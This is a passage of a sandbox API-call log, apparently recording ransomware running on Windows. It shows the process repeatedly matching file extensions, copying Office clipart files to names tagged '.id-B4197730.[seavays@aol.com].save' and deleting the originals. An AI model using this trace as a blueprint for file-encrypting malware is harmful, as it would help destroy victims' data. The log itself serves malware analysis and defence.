lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.324] lstrlenW (lpString=".jpg") returned 4 [0168.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.324] lstrlenW (lpString=".doc") returned 4 [0168.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString=".docx") returned 5 [0168.324] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.324] lstrlenW (lpString=".pdf") returned 4 [0168.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.346] lstrlenW (lpString=".xls") returned 4 [0168.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.346] lstrlenW (lpString=".xlsx") returned 5 [0168.346] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.346] lstrlenW (lpString=".ppt") returned 4 [0168.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.346] lstrlenW (lpString=".zip") returned 4 [0168.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.346] lstrlenW (lpString=".rar") returned 4 [0168.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.346] lstrlenW (lpString=".bz2") returned 4 [0168.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.346] lstrlenW (lpString=".7z") returned 3 [0168.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.347] lstrlenW (lpString=".dbf") returned 4 [0168.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.347] lstrlenW (lpString=".1cd") returned 4 [0168.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.347] lstrlenW (lpString=".jpg") returned 4 [0168.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.347] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.347] lstrlenW (lpString="J0105246.WMF") returned 12 [0168.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.348] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=19328) returned 1 [0168.348] CloseHandle (hObject=0x51c) returned 1 [0168.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0168.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.349] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.349] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0168.350] GetLastError () returned 0x0 [0168.350] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0168.353] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0168.354] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.354] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.355] SetEndOfFile (hFile=0x510) returned 1 [0168.355] CloseHandle (hObject=0x510) returned 1 [0168.355] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.355] SetEndOfFile (hFile=0x51c) returned 1 [0168.359] CloseHandle (hObject=0x51c) returned 1 [0168.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.361] lstrlenW (lpString=".doc") returned 4 [0168.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.361] lstrlenW (lpString=".docx") returned 5 [0168.361] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.361] lstrlenW (lpString=".pdf") returned 4 [0168.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.361] lstrlenW (lpString=".xls") returned 4 [0168.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.361] lstrlenW (lpString=".xlsx") returned 5 [0168.361] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.361] lstrlenW (lpString=".ppt") returned 4 [0168.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.361] lstrlenW (lpString=".zip") returned 4 [0168.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.361] lstrlenW (lpString=".rar") returned 4 [0168.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.361] lstrlenW (lpString=".bz2") returned 4 [0168.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.361] lstrlenW (lpString=".7z") returned 3 [0168.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString=".dbf") returned 4 [0168.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString=".1cd") returned 4 [0168.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString=".jpg") returned 4 [0168.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString=".doc") returned 4 [0168.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString=".docx") returned 5 [0168.362] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.362] lstrlenW (lpString=".pdf") returned 4 [0168.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString=".xls") returned 4 [0168.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.362] lstrlenW (lpString=".xlsx") returned 5 [0168.362] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.362] lstrlenW (lpString=".ppt") returned 4 [0168.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.362] lstrlenW (lpString=".zip") returned 4 [0168.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.362] lstrlenW (lpString=".rar") returned 4 [0168.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.363] lstrlenW (lpString=".bz2") returned 4 [0168.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.363] lstrlenW (lpString=".7z") returned 3 [0168.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.363] lstrlenW (lpString=".dbf") returned 4 [0168.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.363] lstrlenW (lpString=".1cd") returned 4 [0168.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0168.363] lstrlenW (lpString=".jpg") returned 4 [0168.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.363] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.363] lstrlenW (lpString="J0105250.WMF") returned 12 [0168.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.431] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4628) returned 1 [0168.431] CloseHandle (hObject=0x51c) returned 1 [0168.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0168.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.596] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.596] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.596] GetLastError () returned 0x0 [0168.597] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1214, lpOverlapped=0x0) returned 1 [0168.598] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1220, lpOverlapped=0x0) returned 1 [0168.600] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.600] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.600] SetEndOfFile (hFile=0x528) returned 1 [0168.600] CloseHandle (hObject=0x528) returned 1 [0168.600] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.600] SetEndOfFile (hFile=0x508) returned 1 [0168.604] CloseHandle (hObject=0x508) returned 1 [0168.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0168.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.605] lstrlenW (lpString=".doc") returned 4 [0168.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.605] lstrlenW (lpString=".docx") returned 5 [0168.606] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.606] lstrlenW (lpString=".pdf") returned 4 [0168.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString=".xls") returned 4 [0168.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.607] lstrlenW (lpString=".xlsx") returned 5 [0168.607] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.607] lstrlenW (lpString=".ppt") returned 4 [0168.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString=".zip") returned 4 [0168.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.607] lstrlenW (lpString=".rar") returned 4 [0168.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString=".bz2") returned 4 [0168.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString=".7z") returned 3 [0168.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString=".dbf") returned 4 [0168.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString=".1cd") returned 4 [0168.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString=".jpg") returned 4 [0168.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.607] lstrlenW (lpString=".doc") returned 4 [0168.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString=".docx") returned 5 [0168.608] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.608] lstrlenW (lpString=".pdf") returned 4 [0168.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString=".xls") returned 4 [0168.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.608] lstrlenW (lpString=".xlsx") returned 5 [0168.608] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.608] lstrlenW (lpString=".ppt") returned 4 [0168.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.608] lstrlenW (lpString=".zip") returned 4 [0168.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.608] lstrlenW (lpString=".rar") returned 4 [0168.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString=".bz2") returned 4 [0168.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString=".7z") returned 3 [0168.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.608] lstrlenW (lpString=".dbf") returned 4 [0168.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.608] lstrlenW (lpString=".1cd") returned 4 [0168.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0168.608] lstrlenW (lpString=".jpg") returned 4 [0168.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.609] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.609] lstrlenW (lpString="J0105286.WMF") returned 12 [0168.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.610] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6568) returned 1 [0168.610] CloseHandle (hObject=0x508) returned 1 [0168.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0168.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.611] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.611] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.614] GetLastError () returned 0x0 [0168.614] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0168.615] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0168.617] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.617] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.617] SetEndOfFile (hFile=0x528) returned 1 [0168.617] CloseHandle (hObject=0x528) returned 1 [0168.617] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.617] SetEndOfFile (hFile=0x508) returned 1 [0168.620] CloseHandle (hObject=0x508) returned 1 [0168.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0168.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.622] lstrlenW (lpString=".doc") returned 4 [0168.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.622] lstrlenW (lpString=".docx") returned 5 [0168.622] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.622] lstrlenW (lpString=".pdf") returned 4 [0168.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.622] lstrlenW (lpString=".xls") returned 4 [0168.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.622] lstrlenW (lpString=".xlsx") returned 5 [0168.622] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.622] lstrlenW (lpString=".ppt") returned 4 [0168.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString=".zip") returned 4 [0168.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.623] lstrlenW (lpString=".rar") returned 4 [0168.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString=".bz2") returned 4 [0168.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString=".7z") returned 3 [0168.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString=".dbf") returned 4 [0168.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString=".1cd") returned 4 [0168.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString=".jpg") returned 4 [0168.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.623] lstrlenW (lpString=".doc") returned 4 [0168.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.623] lstrlenW 